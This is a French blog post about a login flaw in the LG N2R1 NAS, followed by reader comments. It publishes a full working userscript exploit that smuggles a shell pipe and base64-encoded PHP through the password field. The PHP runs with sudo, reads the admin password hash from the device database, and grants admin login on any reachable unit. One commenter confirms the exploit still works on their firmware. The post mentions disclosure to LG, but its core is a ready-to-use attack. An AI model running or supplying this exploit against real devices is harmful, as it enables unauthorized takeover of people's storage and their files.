Hack du NAS LG N2R1

En suivant les conseil de plusieurs blogueurs Korben & Ludovic Toinel je me suis acheté le NAS N2R1 de la marque LG. Ce NAS est très bien et convient parfaitement à l'usage que j'en ai. Sauf que ce NAS s'avère avoir une très grosses failles de sécurité.

L'origine de cette découverte a commencé quand j'ai voulu mettre mon NAS sur internet pour accéder à mes fichiers au boulot. Pour ça j'ai mis en mot de passe plus robuste avec des caractères spéciaux. Après ça plus moyen de me loguer.

Après quelques tests, je me suis rendu compte que je pouvais rentrer sur mon NAS avec seulement une parenthèse comme mot de passe (caractère faisant partie de mon nouveau mot de passe). J'en ai fait part à Ludovic Toinel qui s'était fait "hacker" son NAS (cf article à ce sujet) et il a fini par trouver l'origine du problème (cf article à ce sujet).

Je me suis donc amusé à réaliser un exploit basé sur un userscript pour automatiser le login en tant qu'admin sur n'importe quel NAS N2R1. Cela marche avec le N2R1 mais peut être aussi avec d'autres modèles mais je n'ai que mon N2R1 pour tester. D'autres opérations peuvent être réalisées comme la destruction de données mais ce genre de malice ne m'intéresse pas d'autant plus que j'ai mes données sur ce NAS...

Voici le résultat :

Pour conclure, j'ai essayé de contacter LG à ce sujet ; ils devaient me rappeler et depuis plus de nouvelles. En attendant je déconseille l'achat de ce NAS tant qu'une mise à jour ne sera pas faite pour combler ce trou béant...

Update 2015-01-24 :

Puisque la faille a été signalée il y a plus de 3 ans, que je n'ai plus le NAS et qu'il me semble que LG a corrigé la faille, voici l'userscript utilisé :

// ==UserScript==
// @name           test-lg-nas
// @namespace      pac1250@gmail.com
// @author         pac1250@gmail.com
// @version        1.2.1
// @match          http://*/*/login/login.php
// @include        http://*/*/login/login.php
// ==/UserScript==

function main () {

    $(document).ready(function() {

/* Base64 encoded PHP :
$dbh=new PDO('sqlite:/etc/nas/db/share.db');
$sth=$dbh->prepare('select passwd from user where uid=\'admin\'');
$sth->execute();
$DB_user_info=$sth->fetchAll();
$dbh=null;
echo $DB_user_info[0][0];
*/
        var php = "JGRiaD1uZXcgUERPKCdzcWxpdGU6L2V0Yy9uYXMvZGIvc2hhcmUuZGInKTsNCiRzdGg9JGRiaC0+cHJlcGFyZSgnc2VsZWN0IHBhc3N3ZCBmcm9tIHVzZXIgd2hlcmUgdWlkPVwnYWRtaW5cJycpOw0KJHN0aC0+ZXhlY3V0ZSgpOw0KJERCX3VzZXJfaW5mbz0kc3RoLT5mZXRjaEFsbCgpOw0KJGRiaD1udWxsOw0KZWNobyAkREJfdXNlcl9pbmZvWzBdWzBdOw==";
        var magic = "xxxxx | echo \"<?php eval(base64_decode(\\\"" + php + "\\\")); ?>\"|/usr/bin/php-cgi -q";
        // overrive LG sendRequest method
        sendRequest = function(callback,data,method,url,async,sload,p_num,user,password)
        {
            $.ajax({
                type: "POST",
                url: url,
                data: {
                    id:  "admin",
                    mobile: "false",
                    op_mode: "login",
                    password: magic
                },
                success: function(data) { callback({responseText: data}); },
                dataType: "text"
            });
        }
        // show hack has been installed
        $("body").before("<div style=\"background-color: #FFEEEE; border: 1px solid #000000; font-family: Verdana; padding: 1px 11px; position: fixed; right: 10px; text-decoration: blink; top: 10px;\">auto admin</div>");
    });
}

var script = document.createElement('script');
script.appendChild(document.createTextNode('('+ main +')();'));
(document.body || document.head || document.documentElement).appendChild(script);

Le principe est très (trop) simple :

  1. Le client envoie une requête ajax de login et le userscript modifie ce qui est envoyé en ajoutant des données supplémentaires

  2. Le NAS reçoit la requête en web sur apache+php qui envoie direct le champ password dans un exec avec sudo :

$in_pw = exec("sudo nas-common md5 $in_pw");

ce qui donne la commande suivante :

sudo nas-common md5 xxxxx | echo \"<?php eval(base64_decode(\\\"JGRiaD1uZXcgUERPKCdzcWxpdGU6L2V0Yy9uYXMvZGIvc2hhcmUuZGInKTsNCiRzdGg9JGRiaC0+cHJlcGFyZSgnc2VsZWN0IHBhc3N3ZCBmcm9tIHVzZXIgd2hlcmUgdWlkPVwnYWRtaW5cJycpOw0KJHN0aC0+ZXhlY3V0ZSgpOw0KJERCX3VzZXJfaW5mbz0kc3RoLT5mZXRjaEFsbCgpOw0KJGRiaD1udWxsOw0KZWNobyAkREJfdXNlcl9pbmZvWzBdWzBdOw==\\\")); ?>\" | /usr/bin/php-cgi -q
  1. Le exec va finalement jouer un code PHP (avec les droit super users) qui va lire dans la base sqlite et retourner le md5 de l'utilisateur admin :
$dbh=new PDO('sqlite:/etc/nas/db/share.db');
$sth=$dbh->prepare('select passwd from user where uid=\'admin\'');
$sth->execute();
$DB_user_info=$sth->fetchAll();
$dbh=null;
echo $DB_user_info[0][0];

La suite est simple, le NAS trouvera forcément que le mot de passe est valide et renverra au client que c'est OK.

6 réflexions au sujet de « Hack du NAS LG N2R1 »

  1. Sauf qu’entre temps de nouvelles mises à jours sont parues et meme une refonte totale d’interface utilisateur.
    -mise à jours de sécurité: décembre 2011…
    -mise à jours nouvelle UI: octobre 2012…

    1. Oui, la mise à jour est principalement graphique et il me semble que c’était corrigé dedans mais je n’ai pas pu la tester…

  2. j’ai fait le test avec mon nas N2R1 avec la version 1.0.0_2660,
    la faille existe toujours, j’ai réussi a rentrer en admin avec l’userscript, dorénavant mon nas restera uniquement sur réseau local.
    ( installer le nouvelle UI et problématique, car tout les donnes seront effacer durent la mis a jour, et je ne sait pas si sa corrigera la faille. )

  3. Hello Vincent,
    le poste est ancien mais l’exploit intéressant.
    Aurais-tu encore le script d’accessible?
    Merci pour ton retour

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Time limit is exhausted. Please reload the CAPTCHA.